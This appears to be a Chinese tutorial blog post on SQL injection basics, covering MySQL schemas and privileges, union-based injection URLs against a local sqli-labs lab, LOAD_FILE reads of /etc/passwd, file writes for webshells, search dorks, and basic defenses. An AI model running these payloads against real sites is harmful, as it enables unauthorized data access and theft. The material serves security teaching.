SQL注入(一)mysql数据库基础

SQL注入(一)

1. 什么是SQL注入

1.1 sql注入概述

通过在应用程序的输入字段中插入或“注入”恶意的SQL代码,从而绕过应用程序的安全措施,对数据库进行非法访问或操作。

1.2web应用程序三层架构

表现层:负责处理用户界面和用户交互。

业务逻辑层:负责处理应用程序的业务逻辑和流程,包括数据处理、业务规则实现、数据验证等。

数据访问层:负责与数据存储系统(如数据库)进行交互。

在这里插入图片描述

1.3实例

直接使用了用户输入的参数作为sql语句
在这里插入图片描述

2. MYSQL语句

查询所有数据库:show databases;
使用某个数据库:use 数据库名字;
查询当前库中所有表:show tables;
查询数据:select * from table where id=1;
排序:select * from table where id=1 order by name;(以姓名排序)
order by 也可以跟上数字(第几个列),若大于列数量则报错(用于猜列数)
联合查询:select * from table where contury=cn union select * from table where id =1;
前面查询的语句 和 后面的查询语句 结果互不干扰
前面的查询语句的字段数量 和 后面的查询语句字段数量  要一致

3. MYSQL系统库

一个服务器有多个数据库,一个数据库有多个数据表,一个表中有多个行,列,字段
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3.1 information_schema 库

用于存储关于数据库对象(如表、列、索引等)的元数据信息。这个数据库不存储用户数据,而是存储数据库系统本身的元数据信息,可以通过查询information_schema库中的表来获取数据库结构和相关信息。

一些常用的information_schema

  1. SCHEMATA:包含所有数据库信息。

    SELECT schema_name -- 查询所有库名
    FROM information_schema.schemata; -- information_schema.schemata指information_schema库下的schemata表
    
  2. TABLES:包含有关数据库中每个表的信息,如表名、引擎类型、行数等。

SELECT table_name, table_rows
FROM information_schema.tables
WHERE table_schema = 'your_database_name';
  1. COLUMNS:包含有关每个表中列的信息,如列名、数据类型、是否为主键等。
SELECT column_name, data_type
FROM information_schema.columns
WHERE table_schema = 'your_database_name' AND table_name = 'your_table_name'

3.2 performance_schema库

用于提供有关数据库性能和资源利用情况的详细信息。performance_schema库存储了关于数据库服务器性能的统计数据,包括查询执行时间、锁等待情况、线程活动等,可以帮助用户监控数据库服务器的性能状况,并进行性能优化和故障排查。

3.3 mysql库

存储了关于MySQL服务器配置、权限、用户等系统级别的信息。

一些常用的mysql库表

  1. user:存储MySQL数据库的用户账号和权限信息,包括用户名称、密码、权限等。

    SELECT * FROM mysql.user;
    
  2. db:存储数据库级别的权限信息,包括哪些用户有权限访问哪些数据库。

    SELECT * FROM mysql.db;
    

3.4 sys库

用于存储和管理性能监控相关信息的库。

4. MYSQL权限

在MySQL数据库中,权限是用来控制用户对数据库对象(如表、列、存储过程等)的访问和操作权限的机制。MySQL使用权限来确保数据的安全性和保护数据库对象免受未经授权的访问或修改。

4.1 MySQL权限类型

  1. 全局权限(Global Privileges):全局权限控制用户对整个MySQL服务器的操作权限,如创建用户、查看数据库、执行系统命令等。
  2. 数据库权限(Database Privileges):数据库权限控制用户对特定数据库的操作权限,如创建表、插入数据、删除数据等。
  3. 表权限(Table Privileges):表权限控制用户对特定表的操作权限,如查询、更新、删除等。
  4. 列权限(Column Privileges):列权限控制用户对表中特定列的操作权限,如查询、更新等。

4.2 权限认证

select * from user where user='root' and host='localhost';

	mysql权限表的验证过程为:

	先从user表中的Host,User,Password这3个字段中判断连接的ip、用户名、密码是否存在,存在则通过验证。

	通过身份认证后,进行权限分配,
	按照user,db,tables_priv,columns_priv的顺序进行验证。
	即先检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,
	将不再检查db, tables_priv,columns_priv;如果为N,则到db表中检查此用户对应的具体数据库,
	并得到db中为Y的权限;如果db中为N,则检查tables_priv中此数据库对应的具体表,取得表中的权限Y,以此类推。

4.3 常用的权限操作

查看mysql 有哪些用户:select user,host from mysql.user;

在这里插入图片描述

查看用户对应权限:select * from mysql.user where user='root' and host='localhost';

在这里插入图片描述

此时root用户具有访问information_schema表的权限:SELECT schema_name FROM information_schema.schemata;

在这里插入图片描述

创建 mysql 用户:CREATE USER 'zhangsan'@'localhost' IDENTIFIED BY 'some_pass';(用户名zhangsan;密码:some_pass),可以看到张三没有许多访问权限,其不能访问information_schema

在这里插入图片描述

4.4 高权限注入

查看当前用户的权限:SHOW GRANTS; select user();高权限则可以查询information_schema

在这里插入图片描述

http://localhost/sqli-labs/Less-2/?id=-2%20union%20select%201,user(),3

在这里插入图片描述

查询所有数据库名称:http://localhost/sqli-labs/Less-2/?id=-2%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata

查询数据库对应的表名:http://localhost/sqli-labs/Less-2/?id=-2%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x74657374

查询表名对应的字段名:http://localhost/sqli-labs/Less-2/?id=-2%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7431

查询数据:http://localhost/sqli-labs/Less-2/?id=-2%20union%20select%201,name,pass%20from%20test.t1

5. 文件读写

5.1 文件读写注入的原理

利用SQL注入漏洞,通过构造恶意的SQL语句来读取(用户信息,配置)或写入(一句话木马)文件系统中的文件。这种攻击可能导致泄露敏感信息、执行恶意代码或损坏系统文件等危险后果。

5.2 文件读写注入的条件

  1. 存在SQL注入漏洞
  2. 对文件系统有操作权限:攻击者需要具有对文件系统进行读写操作的权限
高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

linux
cat  etc/conf
win
www/mysql / my.ini

读写文件需要 `secure_file_priv`权限
secure_file_priv=
代表对文件读写没有限制
secure_file_priv=NULL
代表不能进行文件读写
secure_file_priv=d:/phpstudy/mysql/data
代表只能对该路径下文件进行读写
如果MySQL配置了secure_file_priv参数,该参数指定了可以使用LOAD DATA INFILE和SELECT ... INTO OUTFILE语句写入文件的安全目录路径。

在这里插入图片描述

  1. 知道网站绝对路径

使用SELECT @@datadir获取数据目录路径

SELECT @@datadir;

在这里插入图片描述

报错显示:inurl:edu.cn warning
遗留文件:inurl:phpinfo.php
漏洞报错:配置文件:

5.3 读取文件

使用函数:load_file()用于从文件系统中读取文件内容并返回其内容作为字符串。

SELECT LOAD_FILE('/etc/passwd');  后面的路径可以是单引号,0x,char转换的字符。
上述示例中,LOAD_FILE() 函数尝试读取 /etc/passwd 文件的内容并返回结果。如果 MySQL 服务器有权限读取该文件,函数将返回文件内容作为字符串。

一般可以与union中做为一个字段使用,查看config.php(即mysql的密码),apache配置...
"D:\phpstudy_pro\WWW\sqli-labs\sql-connections\db-creds.inc"

5.4 写入文件

使用函数:Into Outfile(能写入多行,按格式输出)和 into Dumpfile(只能写入一行且没有输出格式)

outfile 后面不能接0x开头或者char转换以后的路径,只能是单引号路径

6. 基础防御

6.1 魔术引号

当魔术引号功能开启时,PHP 会自动在接收到的数据中的特殊字符(如单引号、双引号、反斜杠等)前添加反斜杠来进行转义,以防止这些字符被误解为引号或特殊字符。

可以通过在 PHP 配置文件(如 php.ini)中关闭魔术引号功能来避免其影响,具体配置如下:

magic_quotes_gpc = Off
magic_quotes_runtime = Off
magic_quotes_sybase = Off
通过将以上配置项设置为 Off,即可关闭魔术引号功能。请注意,在使用较新版本的 PHP 中,魔术引号功能已经被移除,因此不需要进行关闭配置。

6.2 内置函数

is_int()  判断输入类型
addslashes()  类似魔术引号

6.3 关键字自定义

判断输入内容是否有sql语句

str_replace() 替换

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值